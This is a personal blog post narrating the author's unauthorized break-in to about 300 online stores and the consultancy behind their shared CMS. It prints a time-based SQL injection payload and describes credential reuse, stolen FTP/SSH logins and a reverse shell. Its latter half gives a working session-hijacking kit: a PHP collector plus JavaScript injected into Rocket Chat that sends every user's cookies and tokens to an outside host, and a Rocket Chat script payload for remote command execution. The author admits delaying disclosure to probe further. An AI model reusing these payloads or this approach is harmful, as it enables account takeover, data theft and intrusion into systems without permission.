_  _              _
     ___  __| || |__  _ _  ___| |__
    / -_)/ _` || '_ \| '_|(_-<| / /
    \___|\__,_||_.__/|_|  /__/|_\_\
                    u/edbrsk's blog

The story about how I compromised 300 stores, and a “Spanish consultancy”.

Part 1. How I compromised 300 stores:

I was on an online store, you know, to compare prices about something I wanted to buy. I got bored. I opened the Wappalyzer: Apache 2.4.46, Amazon EC2, PHP. Okay!

It all started as a “let’s see if this site is vulnerable to something or not”. I’m not gonna post names, and I’ll try to avoid any hints. The report about the vulnerabilities and the misconfigurations is still ongoing, so some issues may not be fixed everywhere yet.

It was not a Wordpress or another kind of CMS, okay… I checked the robots.txt. I found a panel to log in… I tried default credentials like admin/admin, etc., but were not working. Reading the footer of the log-in panel, I found two things. The store is part of a chain with more than 300 stores, and the CMS/Platform (I don’t know how to call it) was made by the same company. A little bit of “Googling” to confirm, and I found that ALL OF THEM have the same “CMS”, the same log-in panel, just a few differences like CSS, languages, etc. What if all of them have common credentials? Looks promising! 😅

Let’s scan the ports of this server to have a little bit more of information.

port 21  open ftp  vsftpd 2.2.2
port 22  open ssh  OpenSSH 7.4
port 80  open http Apache httpd 2.4.48 Amazon OpenSSL/1.0.2k-fips PHP/7.1.33
port 443 open ssl  Apache httpd

I exported the scan on a file to have an idea about the services running on the server.

I’m always trying the basic things first. I tried some reflected/persistent XSS, SQL Injection on the search bar, etc,. there are some params in the URL, so I thought that I could inject code there, but I wasn’t successful in the beginning. At that moment I thought: “Well… maybe the people that built this custom CMS are sanitizing the params, or using I don’t know, some framework that is doing that for them under the hood”. Not really. Have you ever read before about Time-Based Blind SQL Injection Attacks? The search bar has some filters to apply, so I tried some things on them, and BINGO! 😎

https://www.example.com/action?q=search_term&VULNERABLE_PARAM=1; SELECT SLEEP(5)#

The magic happens with the ; SELECT SLEEP(5)# you can google more about it. The important thing here, is that I was able to dump the database. I was expecting just a few tables, the ones related with the site, but to my surprise there is just one schema with the name of this chain I saw before on the log in panel. This schema contains more than three thousand tables, yep, more than 3000 tables.

At this point, I invest some time trying to figure out the tables. Some of them in English, others in Spanish, also temporary tables, theoretically, but the interesting one was: Users. I downloaded the data from this table, and a list of potential admin users, emails, phones, some tokens for purposes that I didn’t understand at that time, etc. At least the passwords were hashed.

I was kind of sad at this point. Thinking: “Well… this is the end. I found an SQL Injection, a lot of data, but nothing else.” My girlfriend and my dog suggested that I get off the computer, so I went to sleep. 🌖

I was searching for an inspirational quote to put it here, but I just came up with this one:

Every sunrise is a chance to think if you are on the correct path.

I wasn’t in the correct path. I had to figure out something else. I woke up, and I created a dictionary with data from the “Users” table. Actually, brute force wasn’t needed. I got it on the first attempt. WTF? Seriously? 🤯 I got access to the dashboard as a Super Admin in less than 1 minute. The password of this guy was the same as his username. Nice! 👏🏼

I can’t upload a picture of it but imagine the common Bootstrap template for dashboards. I got access to everything: Orders, Discounts, Products, Clients, News/Posts, Newsletters, etc., and I had the permissions to do everything I wanted.

Is that a common practice of this company? Yes, it is. I haven’t tried the 300 stores, but I logged in to some of them as a Super Admin and I was able to login into other web pages that are not part of the chain with the same credentials.

I was lucky. I mean, in the end, it could just have been an SQL Injection, but you know… “Humans are the weakest link in the Cybersecurity chain.”

Let’s grab a beer, this is not the end. 🍺

Part 2. How I compromised a “Spanish consultancy”:

I thought about writing an email to these people, let them know about the vulnerabilities in their code, and the bad practices they have, but I didn’t at this point. I felt like I was able to find more things regarding this company. I used to work in consultancy before, and usually, these companies are involved in more than one project. I decided to wait a bit more to send them all the information that I could find. You might think that this is not ethical behavior, and maybe you are right, but in the end, they will be still open to other vulnerabilities/misconfigurations that are critical for their services. I opened the browser, and I started to do a bit of “OSINT” about this company.

Valuable information I found:

- The company is involved in public tender projects.
    - (Projects for their region.)
- The CMS it's not just being used in the 300 stores.
    - It's also reused in other projects, and yes, the credentials I found are still valid.
- The company was offering different (vulnerable) products some of them as a SAAS.

There are more things, but I want to keep this post short if possible. At this point, I knew a few things about the company. I tried to find subdomains, and one of them potentially caught my attention.

The company uses Rocket Chat (similar to Slack) under a subdomain, and you don’t need any VPN/2FA/whatever to log in. Figure out the credentials! Yeah, you are right! 😉 Our credentials works for the chat as well, and our guy has the Admin role.

All right, I was in! 🍾🥂 We could say that I was inside the company. At this point I was able to read private conversations with the employees, find words on public channels/private conversations, take a look at what they are saying about their clients… whatever I want… in the end, I logged in as their boss, and he has the Admin role.

Okay… Well, things I tried (and worked):

If we take a look at the ports scan I wrote above, we have ports 21/22 opened, right? So, let’s try to find the credentials in private conversations. Yep, I got FTP and SSH credentials!

At this point I was able to upload/download/modify the code, actually, this is how I found the database host + credentials because as you may know it’s quite common to have the credentials in some config file if you are not using, idk, AWS Secrets Manager or something similar.

Users are writing their credit cards here. Do you understand the risk of all of this?

Anyway… I was able to get a reverse shell and take a look to the server as well.

Having admin credentials, it’s critical per se. I mean, I can read their conversations about everything. However, we don’t have the credentials of everyone, looks like some employees are not following the bad practices, so their password is not their username. No worries, a little bit more “googling” and we can fix that!

Rocket Chat allows you to create custom scripts in JavaScript. I was an admin, so, I could do that! The idea it’s create a script that does a request somewhere to save the rc_uid and rc_token.

At this point you have to be “creative?”. Let’s gonna create a simple PHP script and deploy it somewhere:

<?php
$filename = 'info.txt';

if (isset($_REQUEST['cookie']) && isset($_REQUEST['user'])) {
    $text = $_REQUEST['user'] . ":" . $_REQUEST['cookie'] . "\n";
    if (is_writable($filename)) {
        if (!$handle = fopen($filename, 'a')) {
            echo "cannot open file ($filename)";
            exit;
        }

        if (fwrite($handle, $text) === FALSE) {
            echo "cannot write to file ($filename)";
            exit;
        }

        echo "success";

        fclose($handle);
    } else {
        echo "The file $filename is not writable";
    }
}

Now click on: Settings > Layout > Scripts for logged-in users:

// Add your script
let c = document.cookie.split(';')
let u = document.querySelector('.avatar-image').src.split('/')[4]

fetch("https://urlOfOurPHPScript.com/index.php?cookie="+c+"&user="+u+"")
    .then((r) => r.json())
    .then((data) => {})
    .catch((e) => {});

That’s it! We’ll end up with a file with the cookies of everyone logged in. It should look like this:

user:_ga=xxxx; rc_uid=xxx; rc_token=xxx; _gid=xxxx

We can now modify in our browser the local storage and the cookies. Refresh it, and we’ll have the session of the user you choose.

Easy for admins to hijack your account, isn’t it? Be careful about what y’all are saying of your boss if you use Rocket Chat, just in case! 😅

Remote Command Execution

To learn more about this step, the last one of this story. I recommend the original post.

This simple payload worked, so I was able to take a look inside the instance that is running the rocket chat.

const require = console.log('return process.mainModule.require')();
const { spawnSync } = require('child_process');
const ls = spawnSync('ls', ['-la', '/']);

class Script {
    process_incoming_request({ request }) {
        return {
            content: {
                text: ls.stdout.toString()
            }
        }
    }
}

Conclusion:

This post aims to show people how their data is vulnerable to get stolen in some environments and how companies forget about a minimum level of good practices regarding cybersecurity.

In the end, I got lucky with weak credentials, and that was an important point that allowed me to continue with all this.

As I said this post is to raise awareness and not point out the developers, admins, etc., of any company.

Some of you would consider this as bad behavior from my side. I’m sorry to hear that. What would you do if you ever find something like this? All this has been reported, and it’s being fixed. DISCLOSURE accepted, and that’s why this report won’t contain names ever. IMHO bad behavior is having all this information available “open to the Internet.”, waiting for someone else to come with truly unethical purposes. If you ever find a vulnerability and keep quiet about it, I don’t think that makes you any more ethical.

If you have any suggestion/doubt, don’t hesitate to reach me out!

Share article